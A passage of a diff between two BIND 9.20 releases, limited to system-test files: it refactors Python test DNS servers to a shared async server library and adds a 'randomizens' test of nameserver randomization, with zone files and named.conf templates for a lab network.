< 0: - _, data = self.queue.pop(0) - qid = struct.unpack(">H", data[:2])[0] - log("Sending a query to %s, queryid %d" % (str(self.dst), qid)) - self.csock.sendto(data, self.dst) - - -def main(): - signal.signal(signal.SIGTERM, sigterm) - signal.signal(signal.SIGINT, sigterm) - - with open("ans.pid", "w") as pidfile: - print(os.getpid(), file=pidfile) - - listenip = "10.53.0.5" - serverip = "10.53.0.2" - - try: - port = int(os.environ["PORT"]) - except KeyError: - port = 5300 - - log("Listening on %s:%d" % (listenip, port)) - - usock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - usock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - usock.bind((listenip, port)) - thread = UDPDelayer(usock, serverip, port) - thread.start() - THREADS.append(thread) - - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind((listenip, port)) - sock.listen(1) - sock.settimeout(1) - - while True: - try: - (clientsock, _) = sock.accept() - log("Accepted connection from %s" % clientsock) - thread = TCPDelayer(clientsock, serverip, port) - thread.start() - THREADS.append(thread) - except socket.timeout: - pass +""" +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. +""" + +from isctest.asyncserver import AsyncDnsServer, ForwarderHandler + + +class ForwardToNs2(ForwarderHandler): + target = "10.53.0.2" + delay = 0.5 + + +def main() -> None: + server = AsyncDnsServer() + server.install_response_handlers(ForwardToNs2()) + server.run() if __name__ == "__main__": diff -Nru bind9-9.20.18/bin/tests/system/pytest.ini bind9-9.20.21/bin/tests/system/pytest.ini --- bind9-9.20.18/bin/tests/system/pytest.ini 2026-01-09 13:39:28.145973870 +0000 +++ bind9-9.20.21/bin/tests/system/pytest.ini 2026-03-13 22:01:10.686877826 +0000 @@ -10,7 +10,7 @@ # information regarding copyright ownership. [pytest] -addopts = --tb=short -rA -vv +addopts = --tb=short -rA -vv --dist=loadscope log_format = %(asctime)s %(levelname)s:%(name)s %(message)s log_date_format = %Y-%m-%d %H:%M:%S log_cli = 1 diff -Nru bind9-9.20.18/bin/tests/system/qmin/ans2/ans.py bind9-9.20.21/bin/tests/system/qmin/ans2/ans.py --- bind9-9.20.18/bin/tests/system/qmin/ans2/ans.py 2026-01-09 13:39:28.145973870 +0000 +++ bind9-9.20.21/bin/tests/system/qmin/ans2/ans.py 2026-03-13 22:01:10.686877826 +0000 @@ -11,9 +11,8 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator -import dns.message import dns.name import dns.rcode import dns.rdatatype @@ -27,7 +26,7 @@ ResponseAction, ) -from qmin_ans import ( +from ..qmin_ans import ( DelayedResponseHandler, EntRcodeChanger, QueryLogHandler, @@ -66,7 +65,7 @@ ns_rrset = dns.rrset.from_text(zone_cut, 2, qctx.qclass, dns.rdatatype.NS, ns_name) a_rrset = dns.rrset.from_text(ns_name, 2, qctx.qclass, dns.rdatatype.A, target_addr) - response = dns.message.make_response(qctx.query) + response = qctx.prepare_new_response(with_zone_data=False) response.set_rcode(dns.rcode.NOERROR) response.authority.append(ns_rrset) response.additional.append(a_rrset) @@ -100,13 +99,11 @@ def main() -> None: server = AsyncDnsServer() server.install_response_handlers( - [ - QueryLogger(), - BadHandler(), - UglyHandler(), - SlowHandler(), - StaleHandler(), - ] + QueryLogger(), + BadHandler(), + UglyHandler(), + SlowHandler(), + StaleHandler(), ) server.run() diff -Nru bind9-9.20.18/bin/tests/system/qmin/ans3/ans.py bind9-9.20.21/bin/tests/system/qmin/ans3/ans.py --- bind9-9.20.18/bin/tests/system/qmin/ans3/ans.py 2026-01-09 13:39:28.146973896 +0000 +++ bind9-9.20.21/bin/tests/system/qmin/ans3/ans.py 2026-03-13 22:01:10.686877826 +0000 @@ -15,7 +15,7 @@ from isctest.asyncserver import AsyncDnsServer -from qmin_ans import DelayedResponseHandler, EntRcodeChanger, QueryLogHandler +from ..qmin_ans import DelayedResponseHandler, EntRcodeChanger, QueryLogHandler class QueryLogger(QueryLogHandler): @@ -40,12 +40,10 @@ def main() -> None: server = AsyncDnsServer() server.install_response_handlers( - [ - QueryLogger(), - ZoopBoingBadHandler(), - ZoopBoingUglyHandler(), - ZoopBoingSlowHandler(), - ] + QueryLogger(), + ZoopBoingBadHandler(), + ZoopBoingUglyHandler(), + ZoopBoingSlowHandler(), ) server.run() diff -Nru bind9-9.20.18/bin/tests/system/qmin/ans4/ans.py bind9-9.20.21/bin/tests/system/qmin/ans4/ans.py --- bind9-9.20.18/bin/tests/system/qmin/ans4/ans.py 2026-01-09 13:39:28.146973896 +0000 +++ bind9-9.20.21/bin/tests/system/qmin/ans4/ans.py 2026-03-13 22:01:10.687877794 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype @@ -24,7 +24,12 @@ ResponseAction, ) -from qmin_ans import DelayedResponseHandler, EntRcodeChanger, QueryLogHandler, log_query +from ..qmin_ans import ( + DelayedResponseHandler, + EntRcodeChanger, + QueryLogHandler, + log_query, +) class QueryLogger(QueryLogHandler): @@ -87,13 +92,11 @@ def main() -> None: server = AsyncDnsServer() server.install_response_handlers( - [ - QueryLogger(), - StaleHandler(), - IckyPtangZoopBoingBadHandler(), - IckyPtangZoopBoingUglyHandler(), - IckyPtangZoopBoingSlowHandler(), - ] + QueryLogger(), + StaleHandler(), + IckyPtangZoopBoingBadHandler(), + IckyPtangZoopBoingUglyHandler(), + IckyPtangZoopBoingSlowHandler(), ) server.run() diff -Nru bind9-9.20.18/bin/tests/system/qmin/qmin_ans.py bind9-9.20.21/bin/tests/system/qmin/qmin_ans.py --- bind9-9.20.18/bin/tests/system/qmin/qmin_ans.py 2026-01-09 13:39:28.147973923 +0000 +++ bind9-9.20.21/bin/tests/system/qmin/qmin_ans.py 2026-03-13 22:01:10.688877762 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import abc diff -Nru bind9-9.20.18/bin/tests/system/qmin/tests_sh_qmin.py bind9-9.20.21/bin/tests/system/qmin/tests_sh_qmin.py --- bind9-9.20.18/bin/tests/system/qmin/tests_sh_qmin.py 2026-01-09 13:39:28.148973949 +0000 +++ bind9-9.20.21/bin/tests/system/qmin/tests_sh_qmin.py 2026-03-13 22:01:10.688877762 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/query-source/tests_querysource_none.py bind9-9.20.21/bin/tests/system/query-source/tests_querysource_none.py --- bind9-9.20.18/bin/tests/system/query-source/tests_querysource_none.py 2026-01-09 13:39:28.148973949 +0000 +++ bind9-9.20.21/bin/tests/system/query-source/tests_querysource_none.py 2026-03-13 22:01:10.689877730 +0000 @@ -15,7 +15,6 @@ import isctest - pytestmark = pytest.mark.extra_artifacts( [ "ns*/named.pid", diff -Nru bind9-9.20.18/bin/tests/system/randomizens/README bind9-9.20.21/bin/tests/system/randomizens/README --- bind9-9.20.18/bin/tests/system/randomizens/README 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/README 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,21 @@ +Copyright (C) Internet Systems Consortium, Inc. ("ISC") + +SPDX-License-Identifier: MPL-2.0 + +This Source Code Form is subject to the terms of the Mozilla Public +License, v. 2.0. If a copy of the MPL was not distributed with this +file, you can obtain one at https://mozilla.org/MPL/2.0/. + +See the COPYRIGHT file distributed with this work for additional +information regarding copyright ownership. + +ns1 is root +ns{2-4} are auth server on example. but lame +ns5 is an auth server on example. and works +ns6 is a resolver + +Because `getaddresses_allowed()` logic won't allow to query more than 3 NS at +the top-level, only ns{2-4} will be tried without randomization, and example. +couldn't be resolved. However, with randomization, some queries won't start +picking example. NS from ns2, but ns3, ns4 or ns5. This enable to resolver +example. diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns1/named.conf.j2 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,29 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +zone "." { + type primary; + file "root.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns1/root.db bind9-9.20.21/bin/tests/system/randomizens/ns1/root.db --- bind9-9.20.18/bin/tests/system/randomizens/ns1/root.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns1/root.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,40 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +. IN SOA gson.nominum.com. a.root.servers.nil. ( + 2000042100 ; serial + 600 ; refresh + 600 ; retry + 1200 ; expire + 600 ; minimum + ) +. NS a.root-servers.nil. +a.root-servers.nil. A 10.53.0.1 + +example. NS ns2.1st. +example. NS ns3.1st. +example. NS ns4.1st. +example. NS ns5.xxx. + +1st. NS ns2.2nd. +1st. NS ns3.2nd. +1st. NS ns5.xxx. + +2nd. NS ns2.3rd. +2nd. NS ns5.xxx. + +3rd. NS ns2.1st. +3rd. NS ns5.xxx. + +xxx. NS ns2.1st. +xxx. NS ns2.xxx. +ns2.xxx. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns2/1st.db bind9-9.20.21/bin/tests/system/randomizens/ns2/1st.db --- bind9-9.20.18/bin/tests/system/randomizens/ns2/1st.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns2/1st.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +1st. NS ns2.2nd. +1st. NS ns3.2nd. +1st. NS ns5.xxx. +ns2.1st. A 10.53.0.2 +ns3.1st. A 10.53.0.3 +ns4.1st. A 10.53.0.4 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns2/2nd.db bind9-9.20.21/bin/tests/system/randomizens/ns2/2nd.db --- bind9-9.20.18/bin/tests/system/randomizens/ns2/2nd.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns2/2nd.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,23 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +2nd. NS ns2.3rd. +2nd. NS ns5.xxx. +ns2.2nd. A 10.53.0.2 +ns3.2nd. A 10.53.0.3 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns2/example.db bind9-9.20.21/bin/tests/system/randomizens/ns2/example.db --- bind9-9.20.18/bin/tests/system/randomizens/ns2/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns2/example.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) + +example. NS ns2.1st. +example. NS ns3.1st. +example. NS ns4.1st. +example. NS ns5.xxx. +foo.example. A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns2/named.conf.j2 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,53 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "example" { + type primary; + file "example.db"; +}; + +zone "1st" { + type primary; + file "1st.db"; +}; + +zone "2nd" { + type primary; + file "2nd.db"; +}; + +zone "xxx" { + type primary; + file "xxx.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns2/xxx.db bind9-9.20.21/bin/tests/system/randomizens/ns2/xxx.db --- bind9-9.20.18/bin/tests/system/randomizens/ns2/xxx.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns2/xxx.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,23 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +xxx. NS ns2.xxx. +xxx. NS ns2.1st. +ns2.xxx. A 10.53.0.2 +ns5.xxx. A 10.53.0.5 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns3/1st.db bind9-9.20.21/bin/tests/system/randomizens/ns3/1st.db --- bind9-9.20.18/bin/tests/system/randomizens/ns3/1st.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns3/1st.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +1st. NS ns2.2nd. +1st. NS ns3.2nd. +1st. NS ns5.xxx. +ns2.1st. A 10.53.0.2 +ns3.1st. A 10.53.0.3 +ns4.1st. A 10.53.0.4 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns3/example.db bind9-9.20.21/bin/tests/system/randomizens/ns3/example.db --- bind9-9.20.18/bin/tests/system/randomizens/ns3/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns3/example.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) + +example. NS ns2.1st. +example. NS ns3.1st. +example. NS ns4.1st. +example. NS ns5.xxx. +foo.example. A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns3/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns3/named.conf.j2 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,43 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "1st" { + type primary; + file "1st.db"; +}; + +zone "example" { + type primary; + file "example.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns4/example.db bind9-9.20.21/bin/tests/system/randomizens/ns4/example.db --- bind9-9.20.18/bin/tests/system/randomizens/ns4/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns4/example.db 2026-03-13 22:01:10.690877698 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) + +example. NS ns2.1st. +example. NS ns3.1st. +example. NS ns4.1st. +example. NS ns5.xxx. +foo.example. A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns4/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns4/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns4/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns4/named.conf.j2 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,38 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.4; + notify-source 10.53.0.4; + transfer-source 10.53.0.4; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.4; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "example" { + type primary; + file "example.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns5/1st.db bind9-9.20.21/bin/tests/system/randomizens/ns5/1st.db --- bind9-9.20.18/bin/tests/system/randomizens/ns5/1st.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns5/1st.db 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +1st. NS ns2.2nd. +1st. NS ns3.2nd. +1st. NS ns5.xxx. +ns2.1st. A 10.53.0.2 +ns3.1st. A 10.53.0.3 +ns4.1st. A 10.53.0.4 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns5/2nd.db bind9-9.20.21/bin/tests/system/randomizens/ns5/2nd.db --- bind9-9.20.18/bin/tests/system/randomizens/ns5/2nd.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns5/2nd.db 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,23 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +2nd. NS ns2.3rd. +2nd. NS ns5.xxx. +ns2.2nd. A 10.53.0.2 +ns3.2nd. A 10.53.0.3 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns5/3rd.db bind9-9.20.21/bin/tests/system/randomizens/ns5/3rd.db --- bind9-9.20.18/bin/tests/system/randomizens/ns5/3rd.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns5/3rd.db 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,22 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +3rd. NS ns5.xxx. +3rd. NS ns2.1st. +ns2.3rd. A 10.53.0.2 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns5/example.db bind9-9.20.21/bin/tests/system/randomizens/ns5/example.db --- bind9-9.20.18/bin/tests/system/randomizens/ns5/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns5/example.db 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,25 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) + +example. NS ns2.1st. +example. NS ns3.1st. +example. NS ns4.1st. +example. NS ns5.xxx. +foo.example. A 10.53.0.10 diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns5/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns5/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns5/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns5/named.conf.j2 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,53 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.5; + notify-source 10.53.0.5; + transfer-source 10.53.0.5; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.5; }; + listen-on-v6 { none; }; + recursion no; + notify yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "1st" { + type primary; + file "1st.db"; +}; + +zone "2nd" { + type primary; + file "2nd.db"; +}; + +zone "3rd" { + type primary; + file "3rd.db"; +}; + +zone "example" { + type primary; + file "example.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/ns6/named.conf.j2 bind9-9.20.21/bin/tests/system/randomizens/ns6/named.conf.j2 --- bind9-9.20.18/bin/tests/system/randomizens/ns6/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/ns6/named.conf.j2 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,39 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + + +options { + query-source address 10.53.0.6; + notify-source 10.53.0.6; + transfer-source 10.53.0.6; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.6; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation no; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.6 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; diff -Nru bind9-9.20.18/bin/tests/system/randomizens/tests_randomizens.py bind9-9.20.21/bin/tests/system/randomizens/tests_randomizens.py --- bind9-9.20.18/bin/tests/system/randomizens/tests_randomizens.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/randomizens/tests_randomizens.py 2026-03-13 22:01:10.691877666 +0000 @@ -0,0 +1,32 @@ +# Copyright (C) 